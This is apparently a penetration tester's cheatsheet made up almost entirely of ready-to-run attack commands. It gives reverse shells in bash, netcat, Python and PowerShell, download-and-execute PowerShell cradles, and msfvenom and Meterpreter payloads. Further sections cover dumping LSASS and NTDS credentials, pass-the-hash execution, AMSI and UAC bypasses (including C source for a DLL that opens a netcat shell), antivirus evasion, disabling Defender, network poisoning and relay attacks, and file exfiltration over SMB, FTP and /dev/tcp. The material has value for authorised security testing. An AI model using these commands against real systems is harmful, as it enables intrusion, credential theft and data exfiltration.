Cheatsheet

(Use ctrl+f to navigate around)

Reverse Shells #

Bash # 

bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f

Netcat # 

{nc.traditional|nc|ncat|netcat} <LHOST> <LPORT> {-e|-c} /bin/bash

Python #

IPv4 # 

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);s.close()'
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/bash");s.close()'

IPv6 # 

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);s.close()'
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/bash");s.close()'

PowerShell #

Invoke-Expression (UTF-16LE):

echo -n "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/[1]')" | iconv -t UTF-16LE | base64 -w0; echo

powershell.exe -NoP -EncodedCommand <BASE64_COMMAND_HERE>
  1. github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

Invoke-WebRequest + nc.exe [1]:

PS > powershell -NoP IWR -Uri http://127.0.0.1/nc.exe -OutFile C:\Windows\Temp\nc.exe
PS > cmd /c C:\Windows\Temp\nc.exe 127.0.0.1 1337 -e powershell
  1. eternallybored.org/misc/netcat/

System.Net.Sockets.TCPClient:

$client = New-Object System.Net.Sockets.TCPClient("<ip-address>",1337);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback = (iex $data 2>&1 | Out-String );
  $sendback2 = $sendback + "# ";
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush()
};
$client.Close()

Meterpreter #

PowerShell + msfvenom:

root@kali:$ msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 LHOST=127.0.0.1 LPORT=1337 -f exe > met.exe
PS > (New-Object Net.WebClient).DownloadFile("met.exe", "$env:TEMP\met.exe")
...start metasploit listener...
PS > Start-Process "$env:TEMP\met.exe"

PowerShell + unicorn [1]:

root@kali:$ ./unicorn.py windows/meterpreter/reverse_https LHOST 443
root@kali:$ service postgresql start
root@kali:$ msfconsole -r unicorn.rc
PS > powershell -NoP IEX (New-Object Net.WebClient).DownloadString('powershell_attack.txt')
  1. github.com/trustedsec/unicorn

Listeners # 

root@kali:$ {nc.traditional|nc|ncat|netcat} [-6] -lvnp <LPORT>

pwncat #

Upgrade to PTY # 

$ python -c 'import pty; pty.spawn("/bin/bash")'
# Or
$ script -q /dev/null sh

user@remote:$ ^Z
(background)

root@kali:$ stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'
(get ROWS and COLS)

root@kali:$ stty raw -echo; fg

(?) user@remote:$ reset

user@remote:$ stty rows ${ROWS} cols ${COLS}

user@remote:$ export TERM=xterm
(or xterm-color or xterm-256color)

(?) user@remote:$ exec /bin/bash [-l]
  1. forum.hackthebox.eu/discussion/comment/22312#Comment_22312
  2. xakep.ru/2019/07/16/mischief/#toc05.1

File Transfer #

Linux #

Windows #

Base64 #

Local file to base64:

Cmd > certutil -encode <FILE_TO_ENCODE> C:\Windows\Temp\encoded.b64
Cmd > type C:\Windows\Temp\encoded.b64

Local string to base64 and POST:

PS > $str = cmd /c net user /domain
PS > $base64str = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
PS > Invoke-RestMethod -Uri http://127.0.0.1/msg -Method POST -Body $base64str

Linux2Linux #

/dev/tcp # 

# Sender:
root@kali:$ tar -zcvf folder.tar.gz folder
root@kali:$ nc -w3 -lvnp 1234 < file.txt
# Recipient:
www-data@victim:$ bash -c 'cat < /dev/tcp/127.0.0.1/1234 > .folder.tar.gz'
www-data@victim:$ tar -zxvf .folder.tar.gz

# Recipient:
root@kali:$ nc -w3 -lvnp 1234 > file.txt
# Sender:
www-data@victim:$ bash -c 'cat < file.txt > /dev/tcp/127.0.0.1/1234'

Linux2Windows #

Base64 #

Full base64 file transfer from Linux to Windows:

root@kali:$ base64 -w0 tunnel.aspx; echo
...BASE64_CONTENTS...
PS > Add-Content -Encoding UTF8 tunnel.b64 "<BASE64_CONTENTS>" -NoNewLine
PS > $data = Get-Content -Raw tunnel.b64
PS > [IO.File]::WriteAllBytes("C:\inetpub\wwwroot\uploads\tunnel.aspx", [Convert]::FromBase64String($data))

SMB #

impacket-smbserver #

SMB server (communicate with Windows [1]):

root@kali:$ impacket-smbserver -smb2support files `pwd`
  1. serverfault.com/a/333584/554483

Mount SMB in Windows with net use:

root@kali:$ impacket-smbserver -username j1v37u2k3y -password 'P@ssw0rd123' -smb2support share `pwd`
PS > net use Z: \\10.10.14.16\share
PS > net use Z: \\10.10.14.16\share /u:j1v37u2k3y 'P@ssw0rd123'
# Delete the share after use
PS > net use Z: /d

Mount SMB in Windows with New-PSDrive:

root@kali:$ impacket-smbserver -username j1v37u2k3y -password 'P@ssw0rd123' -smb2support share `pwd`
PS > $pass = 'P@ssw0rd123' | ConvertTo-SecureString -AsPlainText -Force
PS > $cred = New-Object System.Management.Automation.PSCredential('j1v37u2k3y', $pass)
Or
PS > $cred = New-Object System.Management.Automation.PSCredential('j1v37u2k3y', $(ConvertTo-SecureString 'P@ssw0rd123' -AsPlainText -Force))
PS > New-PSDrive -name Z -root \\10.10.14.16\share -Credential $cred -PSProvider 'filesystem'
PS > cd Z:

net share # 

Cmd > net share pentest=c:\smb_pentest /GRANT:"Anonymous Logon,FULL" /GRANT:"Everyone,FULL"
Or
Cmd > net share pentest=c:\smb_pentest /GRANT:"Administrator,FULL"
Cmd > net share pentest /delete

FTP # 

$ python -m pip install pyftpdlib
$ python -m pyftpdlib -Dwp 2121
Cmd > cd C:\Windows\System32\spool\drivers\color
Cmd > echo 'open 127.0.0.1 2121' > ftp.txt
Cmd > echo 'user anonymous' >> ftp.txt
Cmd > echo 'anonymous' >> ftp.txt
Cmd > echo 'binary' >> ftp.txt
Cmd > echo 'put file.bin' >> ftp.txt
Cmd > echo 'bye' >> ftp.txt
Cmd > ftp -v -n -s:ftp.txt

Network attacks #

Sniff Traffic #

tcpdump #

While connected via SSH:

$ tcpdump -i eth0 -w dump.pcap -s0 'not tcp port 22' &

Wireshark #

LLMNR/NBNS Poisoning #

Responder # 

$ git clone https://github.com/lgandx/Responder
$ sudo ./Responder.py -I eth0 -wfrdv

Inveigh # 

$ curl -L https://github.com/Kevin-Robertson/Inveigh/raw/master/Inveigh.ps1 > inveigh.ps1
PS > Invoke-Inveigh [-IP '127.0.0.1'] -ConsoleOutput Y -FileOutput Y –NBNS Y –mDNS Y –Proxy Y -MachineAccounts Y

InveighZero # 

$ curl -L https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_x64/Inveigh.exe > inveigh.exe
PS > .\inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y

ARP Spoofing (ARP Cache Poisoning) #

Enable IP forwarding:

$ sudo sysctl -w net.ipv4.ip_forward=1
(sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward')
(edit /etc/sysctl.conf "net.ipv4.ip_forward = 1" to make it permanent)

dsniff [arpspoof] #

Install:

$ sudo apt install dsniff -y

Fire up the attack with Wireshark (filter ip.src == VICTIM_10.0.0.5) running:

$ sudo arpspoof -c both -t VICTIM_10.0.0.5 GATEWAY_10.0.0.1

bettercap #

Deb dependencies (Ubuntu 18.04 LTS):

DHCPv6 Spoofing #

mitm6 # 

$ git clone https://github.com/fox-it/mitm6
$ python3 setup.py install
$ sudo mitm6.py -i eth0 -d megacorp.local
$ sudo impacket-smbserver -smb2support share `pwd`

VNC #

Decrypt TightVNC password:

root@kali:$ msdbrun -q
msf > irb
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\u0017Rk\u0006#NX\a"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["f0f0f0f0f0f0f0f0"].pack('H*'), fixedkey
=> "<DECRYPTED>"

SMB #

Mounting #

Mount:

root@kali:$ mount -t cifs '//127.0.0.1/Users' /mnt/smb -v -o user=j1v37u2k3y,[pass='P@sw0rd123']

Status:

root@kali:~# mount -v | grep 'type cifs'
root@kali:~# root@kali:~# df -k -F cifs

Unmount:

root@kali:~# umount /mnt/smb

smbclient #

Null authentication:

root@kali:$ smbclient -N -L 127.0.0.1
root@kali:$ smbclient -N '\\127.0.0.1\Data'

With user creds:

root@kali:$ smbclient -U j1v37u2k3y '\\127.0.0.1\Users' 'P@ssw0rd123'

smbmap #

Null authentication:

root@kali:$ smbmap -H 127.0.0.1 -u anonymous -R
root@kali:$ smbmap -H 127.0.0.1 -u null -p "" -R

NFS # 

root@kali:$ showmount -e 127.0.0.1
root@kali:$ mount -t nfs 127.0.0.1:/home /mnt/nfs -v -o user=j1v37u2k3y,[pass='P@ssw0rd123']

LDAP #

ldapsearch #

Basic syntax:

$ ldapsearch -h 127.0.0.1 -x -s <SCOPE> -b <BASE_DN> <QUERY> <FILTER> <FILTER> <FILTER>

Get base naming contexts:

$ ldapsearch -h 127.0.0.1 -x -s base namingcontexts

Extract data for the whole domain catalog and then grep your way through:

$ ldapsearch -h 127.0.0.1 -x -s sub -b "DC=megacorp,DC=local" |tee ldap.out
$ cat ldap.out |grep -i memberof

Or filter out only what you need:

$ ldapsearch -h 127.0.0.1 -x -b "DC=megacorp,DC=local" '(objectClass=User)' sAMAccountName sAMAccountType

Get Remote Management Users group:

$ ldapsearch -h 127.0.0.1 -x -b "DC=megacorp,DC=local" '(memberOf=CN=Remote Management Users,OU=Groups,OU=UK,DC=megacorp,DC=local)' |grep -i memberof

Dump LAPS passwords:

$ ldapsearch -h 127.0.0.1 -x -b "dc=megacorp,dc=local" '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd

Simple authentication with ldapsearch:

$ ldapsearch -H ldap://127.0.0.1:389/ -x -D 'CN=username,CN=Users,DC=megacorp,DC=local' -w 'P@ssw0rd123' -s sub -b 'DC=megacorp,DC=local' |tee ldapsearch.log

Analyze large output for anomalies by searching for unique strings:

$ cat ldapsearch.log | awk '{print $1}' | sort | uniq -c | sort -nr

LDAPPER.py # 

$ git clone https://github.com/shellster/LDAPPER
$ sudo python3 -m pip install -r requirements.txt

windapsearch #

Enumerate all AD Computers:

./windapsearch.py -u 'megacorp.local\j1v37u2k3y' -p 'P@ssw0rd123' --dc 127.0.0.1 -C

ldapdomaindump #

ad-ldap-enum #

Nmap NSE # 

$ nmap -n -Pn --script=ldap-rootdse 127.0.0.1 -p389
$ nmap -n -Pn --script=ldap-search 127.0.0.1 -p389
$ nmap -n -Pn --script=ldap-brute 127.0.0.1 -p389
$ nmap -p 139,445 --script=/usr/share/nmap/scripts/smb-os-discovery --script-args=unsafe=1 127.0.0.1

AD #

Dump Users from DCE/RPC SAMR #

rpcclient # 

root@kali:$ rpcclient -U '' -N 127.0.0.1
root@kali:$ rpcclient -U 'j1v37u2k3y%P@ssw0rd123' 127.0.0.1

rpcclient $> enumdomusers
rpcclient $> enumdomgroups

enum4linux # 

root@kali:$ enum4linux -v -a 127.0.0.1 | tee enum4linux.txt

nullinux.py # 

$ git clone https://github.com/m8r0wn/nullinux ~/tools/nullinux && cd ~/tools/nullinux && sudo bash setup.sh && ln -s ~/tools/nullinux/nullinux.py /usr/local/bin/nullinux.py && cd -
$ nullinux.py 127.0.0.1

samrdump.py # 

root@kali:$ samrdump.py 127.0.0.1

Tricks #

List all domain users:

PS > Get-ADUser -Filter * -SearchBase "DC=megacorp,DC=local" | select Name,SID
Or
PS > net user /DOMAIN

List all domain groups:

PS > Get-ADGroup -Filter * -SearchBase "DC=megacorp,DC=local" | select Name,SID
Or
PS > net group /DOMAIN

List all user’s groups:

PS > Get-ADPrincipalGroupMembership j1v37u2k3y | select Name

Create new domain user:

PS > net user j1v37u2k3y P@ssw0rd123 /ADD /DOMAIN
Or
PS > New-ADUser -Name j1v37u2k3y -SamAccountName j1v37u2k3y -Path "CN=Users,DC=megacorp,DC=local" -AccountPassword(ConvertTo-SecureString 'P@ssw0rd123' -AsPlainText -Force) -Enabled $true

Create new local user and add him to local admins:

PS > net user testuser P@ssw0rd123 /add
PS > net localgroup administrators testuser /add

List deleted AD objects (AD recycle bin):

PS > Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -IncludeDeletedObjects -Properties * |ft

Misc #

Abuse Privileges #

SeBackupPrivilege #

SeBackupPrivilege # 

wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll

upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege W:\Windows\NTDS\ntds.dit C:\Users\j1v37u2k3y\Documents\ntds.dit -Overwrite
download ntds.dit

robocopy # 

PS > cmd /c where robocopy
PS > robocopy /B W:\Windows\NTDS\ntds.dit C:\Users\j1v37u2k3y\Documents\ntds.dit

Remote Management #

RDP #

Enable RDP #

Enable RDP from meterpreter:

meterpreter > run getgui -e

Enable RDP from PowerShell:

PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
PS > Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1

Restricted Admin #

RDP with PtH: RDP needs a plaintext password unless Restricted Admin mode is enabled.

Enable Restricted Admin mode:

PS > Get-ChildItem -Recurse HKLM:\System\CurrentControlSet\Control\Lsa
PS > Get-Item HKLM:\System\CurrentControlSet\Control\Lsa
PS > New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name "DisableRestrictedAdmin" -Value 0 -PropertyType "DWORD"
PS > Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name "DisableRestrictedAdmin"

NLA #

Disable NLA:

PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

Abusing CredSSP / TSPKG #

runas /netonly # 

PS > runas /netonly /user:j1v37u2k3y powershell

WinRM / PSRemoting #

evil-winrm.rb #

Install:

$ git clone https://github.com/Hackplayers/evil-winrm ~/tools/evil-winrm
$ cd ~/tools/evil-winrm && bundle install && cd -
$ ln -s ~/tools/evil-winrm/evil-winrm.rb /usr/local/bin/evil-winrm.rb
Or
$ gem install evil-winrm

Run:

$ evil-winrm.rb -u j1v37u2k3y -p 'P@ssw0rd123' -i 127.0.0.1 -s `pwd` -e `pwd`

SMB (PsExec) #

psexec.py # 

root@kali:$ psexec.py j1v37u2k3y:'P@ssw0rd123'@127.0.0.1
root@kali:$ psexec.py -hashes :6bb872d8a9aee9fd6ed2265c8b486490 j1v37u2k3y@127.0.0.1

WMI #

wmiexec.py # 

root@kali:$ wmiexec.py j1v37u2k3y:'P@ssw0rd123'@127.0.0.1
root@kali:$ wmiexec.py -hashes :6bb872d8a9aee9fd6ed2265c8b486490 j1v37u2k3y@127.0.0.1

Mimikatz #

Dump Credentials #

lsass.exe #

comsvcs.dll # 

PS C:\Windows\System32 > Get-Process lsass
PS C:\Windows\System32 > .\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 940 C:\temp\lsass.dmp full

ProcDump #

Dump and parse:

PS > .\procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp
$ pypykatz lsa minidump lsass.dmp > lsass-pypykatz.minidump
Or
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords full

Grep for secrets:

(mimikatz)
$ grep '* Username : ' lsass-mimikatz.minidump -A2 | grep -e Username -e Password -e NTLM | grep -v null | xclip -i -sel c
(pypykatz)
$ grep -P '\tusername ' lsass-pypykatz.minidump -A2 | grep -e username -e password | grep -v None | xclip -i -sel c
$ grep -P 'Username: ' lsass-pypykatz.minidump -A4 | grep -e Username -e Domain -e NT | grep -v None | xclip -i -sel c

pypykatz #

NTDS #

Locate diskshadow.exe:

cmd /c where /R C:\ diskshadow.exe

Create shadow volume:

powershell -c "Add-Content add_vol.txt 'set context persistent nowriters'"
powershell -c "Add-Content add_vol.txt 'set metadata C:\Windows\Temp\meta.cab'"
powershell -c "Add-Content add_vol.txt 'set verbose on'"
powershell -c "Add-Content add_vol.txt 'begin backup'"
powershell -c "Add-Content add_vol.txt 'add volume c: alias DCROOT'"
powershell -c "Add-Content add_vol.txt 'create'"
powershell -c "Add-Content add_vol.txt 'expose %DCROOT% w:'"
powershell -c "Add-Content add_vol.txt 'end backup'"
cmd /c diskshadow.exe /s add_vol.txt

// add_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
begin backup
add volume c: alias DCROOT
create
expose %DCROOT% w:
end backup

Exfiltrate over SMB:

mkdir C:\smb_pentest
copy w:\Windows\NTDS\ntds.dit C:\smb_pentest\ntds.dit
cmd /c reg.exe save hklm\system C:\smb_pentest\system.hive
cmd /c reg.exe save hklm\sam C:\smb_pentest\sam.hive
cmd /c reg.exe save hklm\security C:\smb_pentest\security.hive
cmd /c net share pentest=c:\smb_pentest /GRANT:"Everyone,FULL"

$ smbclient.py 'j1v37u2k3y:P@ssw0rd123@127.0.0.1'
# use pentest
# get ntds.dit
# get system.hive
# get sam.hive
# get security.hive

Delete shadow volume:

powershell -c "Add-Content delete_vol.txt 'set context persistent nowriters'"
powershell -c "Add-Content delete_vol.txt 'set metadata C:\Windows\Temp\meta.cab'"
powershell -c "Add-Content delete_vol.txt 'set verbose on'"
powershell -c "Add-Content delete_vol.txt 'unexpose w:'"
powershell -c "Add-Content delete_vol.txt 'delete shadows volume c:'"
powershell -c "Add-Content delete_vol.txt 'reset'"
cmd /c diskshadow.exe /s delete_vol.txt

// delete_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
unexpose w:
delete shadows volume c:
reset

Clean up:

cmd /c net share pentest /delete
rm -re -fo C:\smb_pentest
rm C:\Windows\Temp\meta.cab
rm add_vol.txt
rm delete_vol.txt

Parse secrets:

$ secretsdump.py -sam sam.hive -system system.hive -security security.hive -ntds ntds.dit LOCAL

NTLM #

Responder Capture Structure #

[SMB] NTLMv1 Hash and [SMB] NTLMv1-SSP Hash capture structure:

<Username>:<Domain>:<LMv1_Response>:<NTv1_Response>:<Server_Challenge>

[SMB] NTLMv2-SSP Hash capture structure:

<Username>:<Domain>:<Server_Challenge>:<LMv2_Response>:<NTv2_Response>

NTLM Relay #

Generate relay list with CME and enumerate local admins when relaying

$ crackmapexec smb 192.168.2.0/24 --gen-relay-list out.txt
$ sudo ntlmrelayx.py -smb2support --no-http-server -tf out.txt --enum-local-admins

ExecutionPolicy Bypass #

AMSI Bypass #

Evil-WinRM + IEX # 

*Evil-WinRM* PS > menu
*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1"))

Memory Patching # 

PS > IEX(New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/snovvcrash/5c9ee38bb9a8802a674ec3d3d33b4717/raw/5c77510505f505db8ac1453c60ee6fc34a8e6d59/Bypass-AMSI.ps1')
PS > Bypass-AMSI

UAC Bypass #

SystemPropertiesAdvanced.exe #

srrstr.dll # 

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpReserved) {
	switch(dwReason) {
		case DLL_PROCESS_ATTACH:
			WinExec("C:\\Users\\<USERNAME>\\Documents\\nc.exe 10.10.14.16 1337 -e powershell", 0);
		case DLL_PROCESS_DETACH:
			break;
		case DLL_THREAD_ATTACH:
			break;
		case DLL_THREAD_DETACH:
			break;
	}

	return 0;
}

Compile on Kali:

root@kali:$ i686-w64-mingw32-g++ main.c -lws2_32 -o srrstr.dll -shared

DLL Hijacking #

Upload srrstr.dll to C:\Users\%USERNAME%\AppData\Local\Microsoft\WindowsApps\srrstr.dll and check it:

PS > rundll32.exe srrstr.dll,xyz

Exec and get a shell (“requires an interactive window station”):

PS > cmd /c C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

cmstp.exe # 

PS > IEX(New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/snovvcrash/362be57caaa167e7f5667156ac80f445/raw/1990959bc80b56179863aede06695bc499249744/Bypass-UAC.ps1')
PS > Bypass-UAC

Bypass-UAC #

AppLocker Bypass #

AV Bypass #

msfvenom # 

root@kali:$ msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -a x86 --platform win -e x86/shikata_ga_nai -i 3 -f exe -o rev.exe
root@kali:$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 -e x86/shikata_ga_nai -i 9 -f raw | msfvenom --platform windows -a x86 -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -k -f exe -o met.exe

Veil-Evasion #

Hyperion + Pescramble

root@kali:$ wine hyperion.exe input.exe output.exe
root@kali:$ wine PEScrambler.exe -i input.exe -o output.exe

GreatSCT #

Install and generate a payload:

root@kali:$ git clone https://github.com/GreatSCT/GreatSCT ~/tools/GreatSCT
root@kali:$ cd ~/tools/GreatSCT/setup
root@kali:$ ./setup.sh
root@kali:$ cd .. && ./GreatSCT.py
...generate a payload...
root@kali:$ ls -la /usr/share/greatsct-output/handlers/payload.{rc,xml}

root@kali:$ msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

Exec with msbuild.exe and get a shell:

PS > cmd /c C:\Windows\Microsoft.NET\framework\v4.0.30319\msbuild.exe payload.xml

Ebowla # 

$ git clone https://github.com/Genetic-Malware/Ebowla ~/tools/Ebowla && cd ~/tools/Ebowla
$ sudo apt install golang mingw-w64 wine -y
$ sudo python -m pip install configobj pyparsing pycrypto pyinstaller
$ sudo msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.167 LPORT=1337 --platform win -f exe -a x64 -o rev.exe
$ vi genetic.config
...Edit output_type, payload_type, clean_output, [[ENV_VAR]]...
$ python ebowla.py rev.exe genetic.config && rm rev.exe
$ ./build_x64_go.sh output/go_symmetric_rev.exe.go ebowla-rev.exe [--hidden] && rm output/go_symmetric_rev.exe.go
[+] output/ebowla-rev.exe

Invoke-Obfuscation #

Out-EncryptedScript.ps1 #

Download:

$ curl -L https://github.com/PowerShellMafia/PowerSploit/raw/master/ScriptModification/Out-EncryptedScript.ps1 > outenc.ps1

Use:

PS > Out-EncryptedScript .\script.ps1 $(ConvertTo-SecureString 'P@ssw0rd123' -AsPlainText -Force) s4lt -FilePath .\evil.ps1
PS > [string] $cmd = gc .\evil
PS > $dec = de "P@ssw0rd123" s4lt
PS > Invoke-Expression $dec

Tricks #

Windows Defender #

Disable from command line (must be elevated):

PS > Set-MpPreference -DisableRealTimeMonitoring $true

Add path to exclusions (must be elevated):

PS > $mimi = "C:\Users\j1v37u2k3y\music\mimi\x64\mimikatz.exe"
PS > Add-MpPreference -ExclusionPath $mimi -AttackSurfaceReductionOnlyExclusions $mimi

Remove signatures (if Internet connection is present, it will be downloaded again):

PS > "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All

Download stager with triggering Defender to scan it:

PS > "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -DownloadFile -Url http://127.0.0.1/met.exe -Path C:\Users\j1v37u2k3y\music\met.exe

Metasploit #

Debug #

  1. github.com/deivid-rodriguez/pry-byebug
  2. www.youtube.com/watch?v=QzP5nUEhZeg&t=2190
root@kali:$ gem install pry-byebug
root@kali:$ vi ~/.pry-byebug
...

if defined?(PryByebug)
  Pry.commands.alias_command 'c', 'continue'
  Pry.commands.alias_command 's', 'step'
  Pry.commands.alias_command 'n', 'next'
  Pry.commands.alias_command 'f', 'finish'
end

# Hit Enter to repeat last command
Pry::Commands.command /^$/, "repeat last command" do
  _pry_.run_command Pry.history.to_a.last
end

...
root@kali:$ cp -r /usr/share/metasploit-framework/ /opt
root@kali:$ vi /opt/metasploit-framework/msfconsole
...add "require 'pry-byebug'"...
root@kali:$ mkdir -p ~/.msf4/modules/exploits/linux/http/
root@kali:$ cp /usr/share/metasploit-framework/modules/exploits/linux/http/packageup.rb ~/.msf4/modules/exploits/linux/http/p.rb
root@kali:$ vi ~/.msf4/modules/exploits/linux/http/p.rb
...add "binding.pry"...

Information Gathering #

Google Dorks # 

site:example.com filetype:(doc | docx | docm | xls | xlsx | xlsm | ppt | pptx | pptm | pdf | rtf | odt | xml | txt)
site:example.com ext:(config | cfg | ini | log | bak | backup | dat)
site:example.com ext:(php | asp | aspx)
"@example.com" email e-mail

Autonomous Systems #

via IP #

dig:

root@kali:$ dig $(dig -x 127.0.0.1 | grep PTR | tail -n 1 | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}').origin.asn.cymru.com TXT +short

whois:

root@kali:$ whois -h whois.cymru.com -- '-v 127.0.0.1'
root@kali:$ whois -h whois.radb.net 127.0.0.1

via ASN #

whois:

root@kali:$ whois -h whois.cymru.com -- '-v AS48666'
root@kali:$ whois -h whois.radb.net AS48666

DNS #

whois #

IP/domain info, IP ranges:

root@kali:$ whois [-h whois.example.com] example.com или 127.0.0.1

dig #

General:

root@kali:$ dig [@dns.example.com] example.com [{any,a,mx,ns,soa,txt,...}]
root@kali:$ dig -x example.com [+short] [+timeout=1]

Zone transfer:

root@kali:$ dig axfr @dns.example.com example.com

nslookup # 

root@kali:$ nslookup example.com (или 127.0.0.1 для PTR)

root@kali:$ nslookup
[> server dns.example.com]
> set q=mx
> example.com

root@kali:$ nslookup
> set q=ptr
> 127.0.0.1

DNS Amplification #

Check:

$ host facebook.com ns.example.com
$ dig +short @ns.example.com test.openresolver.com TXT
$ nmap -sU -p53 --script=dns-recursion ns.example.com

SMTP #

Check if sender could be forged with an domain user:

$ telnet mail.example.com 25
HELO example.com
MAIL FROM: <forged@exmaple.com>
RCPT TO: <exists@example.com>
RCPT TO: <exists@gmail.com>

Check if sender could be forged with a non-domain user:

$ telnet mail.example.com 25
HELO example.com
MAIL FROM: <forged@gmail.com>
RCPT TO: <exists@example.com>
RCPT TO: <exists@gmail.com>

Check if domain users could be enumerated with VRFY and EXPN:

$ telnet mail.example.com 25
HELO example.com
VRFY exists@exmaple.com
EXPN exists@exmaple.com

Check if users could be enumerated with RCPT TO:

$ telnet mail.example.com 25
HELO example.com
MAIL FROM: <...>
RCPT TO: <exists@exmaple.com>
DATA
From: <...>
To: <exists@exmaple.com>
Subject: Job offer
Hello, I would like to offer you a great job!
.
QUIT

IPSec #

IKE #

Generate list of all transform-sets:

$ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "$ENC,$HASH,$AUTH,$GROUP" >> trans-dict.txt; done; done; done; done

Brute force supported transform-sets:

$ while read t; do (echo "[+] Valid trans-set: $t"; sudo ike-scan -M --trans=$t <IP>) |grep -B14 "1 returned handshake" |grep "Valid trans-set" |tee -a trans.txt; done < trans-dict.txt
Or (for aggressive mode)
$ while read t; do (echo "[+] Valid trans-set: $t"; sudo ike-scan -M -A -P'handshake.txt' -n FAKEID --trans=$t <IP>) |grep -B7 "SA=" |grep "Valid trans-set" |tee -a trans.txt; done < trans-dict.txt
Or
$ sudo python ikeforce.py -s1 -a <IP>  # -s1 for max speed

Get information about vendor:

$ sudo ike-scan -M --showbackoff --trans=<TRANSFORM-SET> <IP>

